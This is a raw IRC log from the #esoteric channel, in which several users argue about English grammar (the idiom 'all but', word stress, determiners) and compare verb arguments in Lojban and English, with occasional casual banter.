#esoteric :oklopol, that works when "where" is stressed. Like in shock or surprise < 1268687049 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :wait no < 1268687054 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but at least one is! < 1268687058 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :on the first page < 1268687060 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Don't your people publish that sort of stuff over the interwebs? (Though we have photographed the blackboards on some lectures.) < 1268687068 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes that's the point < 1268687083 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :what you're seeing is "you saw this where " < 1268687084 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, well, I write down the stuff from the whiteboards. But no, not overheads afaik < 1268687104 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :no i'm not < 1268687113 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :then it can't be a question < 1268687116 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, considering that teacher is not the most apt with computers (he teaches electricity, currently about AC) < 1268687119 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :most on the first few pages are "you saw this where" in the sense "where did you see this" < 1268687126 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :in fact, it cant ever really be a question oklopol < 1268687140 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :that's cause interwebz kiddies are shtoopid < 1268687161 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm sure some of them are native speakers. < 1268687175 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Ah, yes. I guess we've got a few cases who have only handwritten non-computerized stuff. But everyone else as a rule publishes most lecture material in the System we have. < 1268687195 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol while true, the native and grammatically correct speakers are a minority < 1268687196 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, or rather, he seems to not use computers unless he have to. Considering he is rumoured to teach VHDL as well I don't know what to make of it < 1268687237 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :in fact, in germanic languages, that construction just doesn't work: "jy het dit gesien waar?" makes as little sense as it does in english, in afirkaans/dutch < 1268687253 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, but yes, in general many seem to use hand written notes for the lectures. Well, not the math teachers, they all use latex < 1268687256 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Heh, "rumoured to teach VHDL" sounds nice. It's like VHDL is some sort of dirty secret. < 1268687256 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hiato: well it's true the prescriptivist answer might be that the construct is not grammatical, but i'm pretty sure it's not just shtoopid internet kids who use it. < 1268687262 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*interwebz kiddies < 1268687281 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, XD. (never mind that the math teachers often depart from their lecture notes) < 1268687290 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's a normal colloquial construct, emphasizes where < 1268687302 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :heh, +3 for the correction oklopol, but fair enough, it has been assimilated, just as the double negative has "You aint going nowhere" < 1268687305 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268687306 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, well, I will have some VHDL in the next course iirc < 1268687313 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so I guess I'll get to know that then < 1268687329 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :that, however, doesn't mean it actually makes sense within the rules of the grammar, rather that it has an accepted meaning < 1268687354 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :amongst native speakers in specific envirnments < 1268687380 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, "all but" is a strange idiom < 1268687400 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(about as strange as "You aint going nowhere" is to me) < 1268687406 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well i dunno bout dat < 1268687423 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: if anything, it is more grounded in English than most others. It's very arcaic, and I have yet to meet someone who uses it readily < 1268687425 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, "all but" makes more sense than it can seem to. < 1268687436 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, uses what? "all but"? < 1268687443 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :All but John ate the food. < 1268687445 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268687445 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If something is all but destroyed, it's been damanged in every possible manner except for destroying it. < 1268687448 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :by which i mean "yes maybe, i don't know" and not "you're wrong" < 1268687449 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :in that context < 1268687466 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, seen it in literature. Oh btw I tend to use archaic Swedish just for the fun < 1268687468 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If somebody all but kills you, you're only barely alive at the end. < 1268687475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I couldn't manage that in English < 1268687482 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: only strictly speaking < 1268687488 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I try it :) < 1268687518 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :though, there is the alternative construction "save", eg: "He ate it all save the rice" < 1268687534 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :where "all but" is nonsensical < 1268687550 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i don't think save is the same as all but < 1268687558 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, you would get double "all" without it? < 1268687563 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It seems that "all but" is only an idiom when it precedes an adjective, or even only when it precedes a past participle. < 1268687567 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: oh? < 1268687591 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hiato: well for one thing, "all but" is nonsensical in your example :) < 1268687599 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: I'm almost sure it's not called an idiom, that would be more like "Two wrongs don't make a right" < 1268687630 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :as opposed to an adage which is something like "A penny saved is a penny earned" < 1268687630 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Are we talking about "he ate it all but the rice" or about "he ate it all all but the rice"? < 1268687636 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :does either of those make sense? < 1268687637 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Two wrongs don't make a right" and "a penny saved is a penny earned" are the same type of phrase. < 1268687644 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"He ate it all but the rice" seems to make sense to me. < 1268687659 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yes, oklopol, that's what I'm saying, they are equivalent, but not interchangable < 1268687665 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well if you think of "but" as "except", but i mean if you think of "all but" as "all but" < 1268687675 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: they are subtley different, and hence are either idioms or adages < 1268687692 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268687692 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and, he ate it all but the rice doesn't actually make senes < 1268687697 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hiato: can you show me where they are interchangeable? if their uses are completely separate, then i'm not sure they can be considered the same :P < 1268687709 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :they are similar, sure < 1268687723 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: "..they are equivalent, but not interchangable..." < 1268687724 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1268687735 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah but what does that mean < 1268687773 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :ah, well, by that I meant that they express the same concept through the same consturct: list exclusion has the same meaning forall list and exclusion < 1268687780 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : "Two wrongs don't make a right" <-- unless left twice was same as right < 1268687787 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but the grammar is subtley different, so not interchangeable < 1268687794 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: heh < 1268687794 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You could say that in Haskell, "" and [] are equivalent but not interchangeable. 3:[] is a valid expression while 3:"" is not, even though [] and "" are equal. < 1268687805 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: nice example < 1268687860 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the issue I have with "all but" is that it *doesn't* mean "all except" < 1268687872 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: "An adage (pronounced /ˈædɪdʒ/), or adagium (Latin), is a short but memorable saying that holds some important fact of experience that is considered true by many people, or that has gained some credibility through its long use. It often involves a planning failure such as "don't count your chickens before they hatch" or "don't burn bridges behind you." Adages may be interesting observations, practical or ethical guidelines, or p < 1268687878 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okay in what sort of sentence do they mean the same thing, if not actually syntactically interchangeable? < 1268687880 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: [citation needed] < 1268687898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, well, at least sometimes it doesn't mean that, unless I'm confusing things < 1268687921 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: well, it sort of does mean that. < 1268687921 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well okay "all but" can also mean "all except", but the sense used in "he all but killed me" i don't think "save" can ever do < 1268687923 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, also second meaning at http://idioms.thefreedictionary.com/all+but < 1268687927 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: Of his belongings, he took all but the sink VS He took his belongings save the sink < 1268687960 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Later < 1268687961 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, try "almost" < 1268687962 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah but that's not the actual construct "all but", that's just a sentence where "all" and "but" are adjacent :P < 1268687962 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :though, the second would need qualification < 1268687971 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: yes it is < 1268687984 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If he all but killed me, then he didn't give me a shower, bandage my wounds, or give me a haircut. < 1268688009 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And he didn't kill me. < 1268688017 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hiato: well whatever, i don't think were actually arguing about anything :P < 1268688019 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: you can't really use "all but" in that construction. It usually doesn't refer to degree of action so much as exclusion from a list < 1268688021 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*we're < 1268688027 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: agreed < 1268688042 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You can't say "he all but killed me"? < 1268688045 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"hiato: uorygl: you can't really use "all but" in that construction." <<< yes you can, it's the meaning uorygl has been talking about all the time < 1268688049 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and it's the one i said save can't do < 1268688081 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: not unless you were an uneducated peasant living in post-Elizabethan england < 1268688087 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :like all but do something, all but some adjective. not "all but" as in "all except" < 1268688102 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: he used in in degree < 1268688108 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :you're showing me exclusion < 1268688134 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well obviously exclusion is what save does, but i was never talking about that usage < 1268688154 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"save" and "all but" are the same when "all but" is "all except" < 1268688174 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :if that's what you've been saying, then yeah we weren't arguing about anything < 1268688211 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :To take his example to it's logical maximum: He all but painted yellow is fine, but He pianted it all but yellow (where all but is the degree of painting it yellow) is silly < 1268688223 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: then I guess we're not < 1268688257 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i am a potato, i am a macaroni < 1268688267 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :wait, bad example, but I hope you see what I mean < 1268688267 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess I'm going to simply contradict you and say that "he all but killed me" is indeed a valid way of saying that he wounded me in every possible manner short of killing me. < 1268688292 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :now there's another equivalent yet not interchangeable consturction: short of < 1268688322 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but, uorygl, it's not so much a strict grammatical rule as a manner of interpretation < 1268688336 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I think we broke oklopol: 22:21 < oklopol> i am a potato, i am a macaroni < 1268688381 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION sighs, realising English has too many exceptions for its rules to be called rules in the first place
< 1268688424 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There are rules that are broken rarely if ever. < 1268688439 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :rules that can be broken are cooles, says this dude < 1268688447 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Rules that broken, rarely if ever, are present < 1268688460 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :*are < 1268688476 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :rarely, if ever, are some rules broken < 1268688495 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The determiner always comes before the noun, never after. < 1268688499 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I'm at the end of my string < 1268688506 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: I like that < 1268688509 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Not even the most foolish of fools would accidentally say "dog the" for "the dog". < 1268688510 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :what's a determiner < 1268688512 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: a determiner? < 1268688515 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hiato: why :o < 1268688522 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A determiner is pretty much an article. < 1268688525 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh that sort of determinator < 1268688531 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: cooles, it's catchy :P < 1268688535 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ah! < 1268688535 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268688552 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the acts of you liking it are cooles < 1268688567 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A/an, the, my, your, his, her, its, our, their, Alice's... < 1268688577 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Fair enough, but, again, the exception does not make it the rule < 1268688598 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Huh? < 1268688627 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :the exception to the exception of the rules being malformed is not the rule of the exception of the rules being malformed < 1268688632 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"huh" means "whew" in finnish < 1268688632 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :(take that, grammar gods) < 1268688642 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :where whew means? < 1268688650 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :load of my back < 1268688655 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*off < 1268688660 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :of, phew type thing < 1268688661 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :right < 1268688664 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, I said that there are rules without exceptions, not that most rules don't have exceptions. < 1268688674 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: then we have no fight < 1268688681 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but I will make one if possible < 1268688686 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And there are lots of "rules" that simply say that something is true most of the time. < 1268688699 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Most of the time, the subject precedes the verb. Most of the time, all phrases are contiguous. < 1268688715 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :s/all// < 1268688770 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Most of the time, "me" is an object pronoun. < 1268688773 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268688798 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :fundementally, I hate the rules of stress: it should be that the penultimate syllable recieves the stress in the word, hence paRABola not PARAbola but, then we get TElevesion not teleVISion or DIfficulty not diFICULty < 1268688810 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and so on and so forth < 1268688823 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :But "Are we there yet?" is an exception to the first, "I want to slap the person in the face who did that" is an exception to the second, and "Me and Andy are going to the store" is an exception to the third. < 1268688824 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :so it's these inconsistencies that annoy me, as I'm not a native speaker < 1268688861 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If you were to stress the penultimate syllable, you would have "paraBOla", not "paRAbola". < 1268688871 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And the "ficul" of "difficulty" is two syllables. < 1268688904 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: but, convention prohibits the latter two examples. Never end in a preposition, and the reflexive personal pronouns have lowest priority < 1268688921 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yes, my bad to those two < 1268688940 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and how is "paRABola" penultimate < 1268688946 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It seems that we inherit a lot of our stress rules from Latin. < 1268688947 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I live in a country where english is a minority language, so emphasis is strange < 1268688973 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I would tend to agree < 1268688977 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And, unfortunately, the stress cues are now totally gone, so we just have to look everything up in a dictionary. < 1268688983 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :emphasis should be on the first syllable, so you know where words start < 1268689012 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Lojban has a pretty complicated system for telling you where words begin and end. < 1268689015 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: imagane saying "IMageen SAyin" < 1268689028 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :or SUyin < 1268689037 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl my memory fails me < 1268689047 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's, like... < 1268689072 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hiato: it would be a more beautiful english < 1268689103 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Once you hit a pair of consonants in a row, everything from then on is a single word up to the syllable after the next stressed syllable. < 1268689122 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So if you have "babababablababaBAbababa", then "blababaBAba" is a single word. < 1268689134 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: I beg to differ. English is beuatiful in that it is the quintessential natural language. Full of quirks and relics of the past, assimilations from long forgotten languges and silly human tendancies come grammar rules < 1268689174 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what is beauty? < 1268689185 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: that must be rather complex to speak fluently, as it requires an analysis of the language, as opposed to isolated understanding of terms/phrases < 1268689195 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Also, the last consonant before the consonant pair, and all the vowels after that, are included in the word if and only if the word would otherwise be only one syllable. < 1268689198 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :lament: your mother < 1268689199 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :still speaking about language? < 1268689201 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1268689204 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hiato: well okay i guess i agree < 1268689217 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, good queston < 1268689222 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :question* < 1268689226 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lament: shut up and sleep with me < 1268689227 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :tell me if you find the answer to it < 1268689245 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Finally, once you've identified words using those rules, every consonant has its own word. < 1268689252 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*-and sleep with me < 1268689252 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, but I heard it can be found in the eye of the beholder < 1268689264 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :no i won't sleep with you < 1268689268 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: I could never talk it < 1268689270 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, so clearly you need to dissect your own eyes to find out :D < 1268689274 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :lament, what about me? < 1268689275 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :hiato: well, not really; in practice, these rules simply place restrictions on what words are possible. < 1268689284 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lament: i removed that part < 1268689290 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :hiato: not you either < 1268689302 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i realized you are canadian and i'm racist < 1268689304 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, get started with it :) < 1268689305 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shies his head in sorrow
< 1268689318 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :hiato: so it really becomes the same sort of "identify the words; those are where the words are" that natural languages are. < 1268689418 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: I guess, but it all sounds far too little like a language and more like a programming language to me. Though I realise its goal is to be machine parsable. But still, words should not have different "arguments" to them, opreators should not have strange precedence and so on, if a language is to be understood and spoken as opposed to learned and recalled < 1268689475 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :English has arguments! < 1268689496 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In the sentence "I threw the ball to John", the arguments of "threw" are "I", "the ball", and "to John". < 1268689517 0 :augur!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1268689554 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And there's really not much strange precedence stuff; the rule is simply that everything is greedy. < 1268689573 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I don't believe they are arguments. For example, the ball was thrown from me to john. Are you now going to say taht Eng can be RPN? < 1268689599 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, "arguments" is what they're called! < 1268689613 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :there are no markers to say that John, Ball and I belong to throw, as opposed to ball and throw belong to John < 1268689623 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :or that all of it belongs to was < 1268689645 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What's argument-y about Lojban's arguments that's not argument-y about English's arguments? < 1268689761 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :you cant say that throw "operates on" or "requires" "argumenst" in any manner in Eng. In any natlang, well, I guess isolating ones, each verb needs no qualification, or can be arbitrarilely qualified. It can't specify how many or what form its qualifications can take anymore than any other part of speech. In fact, if anything, there will generally be an alternate construction that, without any delimiation has a similar if not identical meani < 1268689836 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :the trivial example of which is active VS passive, wherein, if anything is to be considered an argument in the first, it can be considered an operator in the second. Unless you now say that Natlangs have first class "verbs" that can be parsed to other verbs and verbs can return "verbs" and so on < 1268689876 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, likewise, in Lojban, each "verb" takes whatever number of arguments you feel like passing to it. < 1268689904 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :whereas, in Lojban, you have fi, fo, and what have you that need to be specified if the "arguments" are "parsed" out of order < 1268689988 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, you have that stuff in English, too. You can't say "Patrick ate John" by saying "John ate Patrick". < 1268689999 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but in english: Throw the right ball on your right to my left OR Throw to my left that ball that is on your right OR The ball that is on your right must be thrown, relative to me, left (assuming it was a command) < 1268690016 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :No, that is confusing subject and object with qualifications < 1268690032 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, Lojban has both sorts of things. < 1268690048 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :again, you cannot manipulate like that without delimeters < 1268690077 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and or specific constructions to change the manner in which verbs "operate" on their arguments < 1268690092 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In Lojban, there are two things corresponding to prepositions, which are argument slots and modals. < 1268690109 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Doesn't the name give it away? < 1268690122 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :A verb may be considered a function, as oppose to a concept < 1268690125 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Give what away? < 1268690137 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's not a function, it's a relation. < 1268690143 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric : which are argument slots < 1268690156 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :To me relations don't need arguments < 1268690163 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and most certianly not in specific slots < 1268690166 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :No? < 1268690191 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Doesn't a relation say that a specific thing is related to a specific other thing in a specific way? < 1268690192 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :if qualification is desired, it may be given in any manner of ways, as opposed to conforming to an expect construct per verb < 1268690213 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :John is bigger than Peter. We don't say how John is bigger < 1268690232 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :How do you say "I eat pizza" without using the construct that "eat" expects? < 1268690237 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :just that, by size, they are related < 1268690248 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :eat does not expect a construct, that's what I'm saying < 1268690256 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :English expects (mostly) SVO < 1268690261 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :that's it < 1268690273 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Is bigger than" has exactly two slots, no more, no less, and each one goes in a specific place. < 1268690302 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I eat a pizza - has the same constuction as I throw a pizza and I sling a pizza etc etc < 1268690305 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If all you were saying is that John and Peter are related by size, then "John is bigger than Peter" and "Peter is bigger than John" would mean the same thing. < 1268690311 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :ENGLISH is what specifies order, not verbs < 1268690325 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :THere is no verb that can ovveride SVO < 1268690329 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, err, ternary "is bigger than" would be fun < 1268690329 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I dare you to find one < 1268690331 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Likewise, in Lojban, you use precisely the same grammatical rules for all "verbs". < 1268690373 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :In lojban, some verbs take subject, object then (eg) position, others are object only, some still are position relative to subject in manner and so on < 1268690387 0 